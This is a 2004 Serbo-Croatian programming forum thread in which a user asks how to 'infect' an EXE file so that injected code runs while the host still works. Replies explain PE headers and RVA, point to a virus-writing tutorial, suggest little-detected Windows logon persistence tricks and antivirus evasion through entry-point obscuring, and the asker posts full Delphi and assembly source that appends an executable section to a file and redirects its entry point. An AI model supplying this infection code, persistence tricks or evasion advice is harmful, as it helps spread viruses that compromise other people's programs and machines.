Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

infekcija exe fajla?

[es] :: Asembler :: infekcija exe fajla?

[ Pregleda: 4554 | Odgovora: 13 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
213.172.228.*



Profil

icon infekcija exe fajla?30.10.2004. u 02:01 - pre 216 meseci
Trebam napraviti infekciju programa program.exe sa fajlom infekcija.exe tako da infekcija.exe bude dio program.exe i da program.exe još radi normalno. Eto tako. Sve počinje na početku. Polako. Najprvo neka mi netko objasni kako je exe fajl sagrađen uključujuči adrese gdje šta počinje i gdje završi? Možda i neku sliku pored... Onda neka mi netko kaže gdje je ona adresa u program.exe koju ja trebam promjeniti da kaže na adresu početka mojeg infekcijskog fajla infekcija.exe i koja je adresa početka infekcija.exe fajla?
 
Odgovor na temu

Pera_Anarhista
Autonomija

Član broj: 3473
Poruke: 113
*.20.79.83.cust.bluewin.ch.



Profil

icon Re: infekcija exe fajla?30.10.2004. u 09:22 - pre 216 meseci
cao

pogledaj post na ovom forumu.post

meni je i ova adresa mnogo pomogla:
http://www.windowsitlibrary.com/Content/356/11/1.html

tu je sve lepo objasnjeno. par postova izad imas moj rad na nemackom, ali tu ima tabela i primera...

nabavi program:
PE Explorer

ako tvoj program koristi biblioteke, moraces i njih da dodas + sve funkcije pojedinacno koje tvoj program iz tih biblioteka koristi + ne znam bas kako ces da odradis varijable (mozda sa dinamckom alokacijom memorije?)...


nema mira, nema pravde

http://www.anarchy-serbia.tk
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
*.dial-up.volja.net.



Profil

icon Re: infekcija exe fajla?30.10.2004. u 21:57 - pre 216 meseci
Pera puno hvala. Nešto me internet zajebava pa ču u utorak pogledati detajlnjije. Zasad imam samo jedno pitanje. Šta je RVA?
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
213.172.227.*



Profil

icon Re: infekcija exe fajla?02.11.2004. u 21:51 - pre 216 meseci
ok. sve jasno. sada čekajte da ja dođem do rješenja. može trajati. mislim da bi se to moglo rješiti i u Delphiju.
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: infekcija exe fajla?03.11.2004. u 15:37 - pre 216 meseci
RVA = relativna virtualna adresa

nju dodajes na imagebase programa da dinamicki dobijes sve staticke adrese.

kad budes reimplementirao kod u delphi-u bilo bi dobro da ukljucih odmah na pocetku optimizaciju i da gledas asembler output u debuggeru, tako ces moci skuziti koje su ti staticke adrese u programu i kako ih izbjeci.

i inficiraj klasicne PE datoteke, izbjegavaj sve koje imaju overhead .NET headera...

u biti je cijeli postupak vrlo glup samo zahtijeva dosta zivaca jer se sve obavlja na jako niskoj razini. i ako ti uspije iz delphi-a, bilo bi lijepo da objavis kod X=)
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
213.172.227.*



Profil

icon Re: infekcija exe fajla?10.11.2004. u 21:05 - pre 216 meseci
Sundance još jedno pitanje. Čitam, da virus ne smije biti veči od data sectiona. Koliko KB to zapravo znači? Čitam o nekim heurističkim metodama antivirus programa koji kontroliraju CRC checksum da utvrde je li exe fajl inficiran. Molim te objsani mi kolika je maksimalna velicina virusa s kojem mogu za inficiram exe fajl i sve ostalo o cemu moram obratiti paznju jer ovdje mogu raditi sati i sati i gubuti zivce i sve bez smisla jer ču na kraju doči do toga da ne mogu napraviti ono što želim. Postoji neki bolji način da sakriješ exe fajl koji se starta na windows logon? Pa još nešto. Kako staviti attachment pored poruke ovdje?
Prikačeni fajlovi
 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: infekcija exe fajla?12.11.2004. u 01:33 - pre 216 meseci
Citat:
janez_kranjski: Sundance još jedno pitanje. Čitam, da virus ne smije biti veči od data sectiona. Koliko KB to zapravo znači? Čitam o nekim heurističkim metodama antivirus programa koji kontroliraju CRC checksum da utvrde je li exe fajl inficiran. Molim te objsani mi kolika je maksimalna velicina virusa s kojem mogu za inficiram exe fajl i sve ostalo o cemu moram obratiti paznju jer ovdje mogu raditi sati i sati i gubuti zivce i sve bez smisla jer ču na kraju doči do toga da ne mogu napraviti ono što želim. Postoji neki bolji način da sakriješ exe fajl koji se starta na windows logon? Pa još nešto. Kako staviti attachment pored poruke ovdje?


Koji tutorial citas? Sve ti jako ovisi o metodi infekcije. Ako recimo prepisujes .reloc sekciju koja je obicno dosta velika, prakticki ne moras ni provjeravati velicinu.

Checksum se sprema unutar jednog od PE headera i obicno ga koriste recimo samoekstrahirajuci instalacijski programi da provjere svoj integritet. Takodjer je recimo nemoguce patchati recimo ntoskrnl.exe i ne-updateati checksum :) Ne vidim neki korisni nacin na koji bi se on mogao iskoristiti kao heuristicka metoda, osim ako AV nema vec spremljen checksum datoteke prije skeniranja pa ga onda usporedjuje sa checksumom nakon skeniranja. Moguce, ali mislim da to bas i ne rade jer bi trajalo cijelu vjecnost.

Velicina virusa prakticki nije ogranicena, ali moze ovisiti o metodi infekcije, kao sto rekoh. Posto si pocetnik, preporucam ti da prodjes 29a #4 tutorial od Billy Belcebu-a (www.29a.host.sk) nakon kojega ce ti mnogo sta biti jasnije. Kasnije pitaj sve sto te zanima =)

Bolji nacin za startup @ windows logon? Hm, probaj ovu foru sa ShellExecute InstallScreenSaver fjom, cini se da jos nije previse otkrivena :) Tu su jos uvijek i dobri stari registry shell spawning i ActiveX startup metoda...potrazi malo na virii forumu, bilo je vec govora o tome.

Attachment mozes uploadati nakon sto si poslao poruku i nakon sto si se ulogirao.
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
*.lj-oz.sik.si.



Profil

icon Re: infekcija exe fajla?12.11.2004. u 17:34 - pre 216 meseci
evo ovde je tutorial. onda još PE Editor u Delphiju. Definicija PE prema Microsoftu.
Prikačeni fajlovi
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
*.lj-oz.sik.si.



Profil

icon Re: infekcija exe fajla?12.11.2004. u 17:36 - pre 216 meseci
zapravo 1 poruka jedan fajl. tutorial je malo više. e sada još definicija.
Prikačeni fajlovi
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
*.lj-oz.sik.si.



Profil

icon Re: infekcija exe fajla?12.11.2004. u 17:40 - pre 216 meseci
pokušat ču nešto napraviti. zapravo u Delphiju je treba samo promjeniti AddressofEntryPoint:

ImageNtHeaders.OptionalHeader.AddressOfEntryPoint

Ali nešto mi se čini da neče biti sve tako jednostavno.
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
*.dial-up.volja.net.



Profil

icon Re: infekcija exe fajla?12.11.2004. u 21:27 - pre 216 meseci
evo pronašao sam program nekog kineza. mislim, da je to to.
 
Odgovor na temu

janez_kranjski
Janez Kranjski
Ljubljana

Član broj: 37880
Poruke: 17
213.172.228.*



Profil

icon Re: infekcija exe fajla?12.11.2004. u 21:47 - pre 216 meseci
{
Author: xIkUg
Email: [email protected]
HOMEPAGE: http://www.xp-program.com
Description: ?PE?????VC7.0???
}
unit uMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
edFName: TEdit;
Button1: TButton;
Label2: TLabel;
edOEP: TEdit;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
OpenDialog1: TOpenDialog;
procedure Button5Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
FImageBase: DWORD;
public
{ Public declarations }
end;
THEAD = array [0..63] of Byte;
var
Form1: TForm1;
const
MYSECTION = 'xIkUg';
JMPOFF = 43;
//???HEAD.asm????????
OEPCODE: THEAD = ($55, $8B, $EC, $6A, $FF, $68, $2A, $2C, $0A, $00, $68, $38,
$90, $0D, $00, $64, $A1, $00, $00, $00, $00, $50, $64, $89,
$25, $00, $00, $00, $00, $58, $64, $A3, $00, $00, $00, $00,
$58, $58, $58, $58, $8B, $E8, $B8, $00, $10, $40, $00, $FF,
$E0, $90, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00);
procedure AddSection(FName: string); //????Section,??OEPCode???
implementation
{$R *.dfm}
procedure TForm1.Button5Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
MessageBox(Handle, 'Author: xIkUg' + #10#13 +
'Email: [email protected]' + #10#13 +
'HOMEPAGE: http://www.xp-program.com',
'About', MB_OK);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
edFName.Text := OpenDialog1.FileName;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
DOSHEADER: IMAGE_DOS_HEADER;
PEHEADER: IMAGE_NT_HEADERS;
fs: TFileStream;
begin
fs := TFileStream.Create(edFName.Text, fmOpenReadWrite + fmShareDenyWrite);
try
fs.Seek(0, soFromBeginning);
fs.Read(DOSHEADER, SizeOf(DOSHEADER));
fs.Seek(DOSHEADER._lfanew, soFromBeginning);
fs.Read(PEHEADER, SizeOf(PEHEADER));
FImageBase := PEHEADER.OptionalHeader.ImageBase;
edOEP.Text := IntToHex(PEHEADER.OptionalHeader.AddressOfEntryPoint, 8);
finally
fs.Free;
end;
end;
procedure AddSection(FName: string);
var
DOSHEADER: IMAGE_DOS_HEADER;
PEHEADER: IMAGE_NT_HEADERS;
SectionHeader: IMAGE_SECTION_HEADER;
MySectionHeader: IMAGE_SECTION_HEADER;
fs: TFileStream;
AddressOfEntryPoint: DWORD;
begin
fs := TFileStream.Create(FName, fmOpenReadWrite + fmShareDenyWrite);
try
fs.Seek(0, soFromBeginning);
fs.Read(DOSHEADER, SizeOf(DOSHEADER));
fs.Seek(DOSHEADER._lfanew, soFromBeginning);
fs.Read(PEHEADER, SizeOf(PEHEADER));
fs.Seek(SizeOf(SectionHeader) *
(PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);
fs.Read(SectionHeader, SizeOf(IMAGE_SECTION_HEADER));
MySectionHeader.Name[0] := Ord('x');
MySectionHeader.Name[1] := Ord('I');
MySectionHeader.Name[2] := Ord('k');
MySectionHeader.Name[3] := Ord('U');
MySectionHeader.Name[4] := Ord('g');
MySectionHeader.Name[5] := 0;
MySectionHeader.Name[6] := 0;
MySectionHeader.Name[7] := 0;
MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;
MySectionHeader.Misc.VirtualSize := $200;
MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div
PEHEADER.OptionalHeader.FileAlignment + 1) *
PEHEADER.OptionalHeader.FileAlignment - PEHEADER.OptionalHeader.SizeOfImage;
MySectionHeader.PointerToRawData :=
SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
MySectionHeader.Characteristics := $e0000020;
Inc(PEHEADER.FileHeader.NumberOfSections);
fs.Write(MySectionHeader, SizeOf(MySectionHeader));
fs.Seek(DOSHEADER._lfanew, soFromBeginning);
AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint;
PEHEADER.OptionalHeader.AddressOfEntryPoint :=
MySectionHeader.VirtualAddress;
PEHEADER.OptionalHeader.MajorLinkerVersion := 7;
PEHEADER.OptionalHeader.MinorLinkerVersion := 0;
AddressOfEntryPoint := AddressOfEntryPoint + PEHEADER.OptionalHeader.ImageBase;
asm
PUSHAD
LEA eax, OEPCODE
ADD eax, JMPOFF
MOV edx, AddressOfEntryPoint
MOV DWORD ptr [eax], edx
POPAD
end;
PEHEADER.OptionalHeader.SizeOfImage :=
PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;
fs.Write(PEHEADER, SizeOf(PEHEADER));

fs.Seek(fs.Size, soFromBeginning);
fs.Write(OEPCODE, MySectionHeader.Misc.VirtualSize)
finally
fs.Free;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
//??
if Trim(edFName.Text) = '' then
begin
MessageDlg('???????????', mtError, [mbOK], 0);
Exit;
end;
//?????????,?????,?????
if Trim(edOEP.Text) = '' then
begin
MessageDlg('?????????', mtError, [mbOK], 0);
Exit;
end;
AddSection(edFName.Text); //??
MessageDlg('????!', mtInformation, [mbOK], 0);
end;
end.


Head.asm??????:

.386
.MODEL FLAT,STDCALL

.code

main:
assume fs:nothing
push ebp
mov ebp,esp
push -1
push 666666
push 888888
mov eax,fs:[0]
push eax
mov fs:[0],esp

pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
mov eax, 00401000H
jmp eax
end main

 
Odgovor na temu

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.



Profil

icon Re: infekcija exe fajla?15.11.2004. u 01:15 - pre 216 meseci
Da..kod dodaje novu PE sekciju pod imenom "xIkUg" i postavlja entrypoint da pokazuje na njega. Ne znam koji bi AV bio toliko glup da ovo popusi.
 
Odgovor na temu

Pera_Anarhista
Autonomija

Član broj: 3473
Poruke: 113
*.232.62.81.cust.bluewin.ch.



Profil

icon Re: infekcija exe fajla?06.12.2004. u 20:08 - pre 215 meseci
retko koji... pogledaj malo vise o entry point obscuring-u
nema mira, nema pravde

http://www.anarchy-serbia.tk
 
Odgovor na temu

[es] :: Asembler :: infekcija exe fajla?

[ Pregleda: 4554 | Odgovora: 13 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.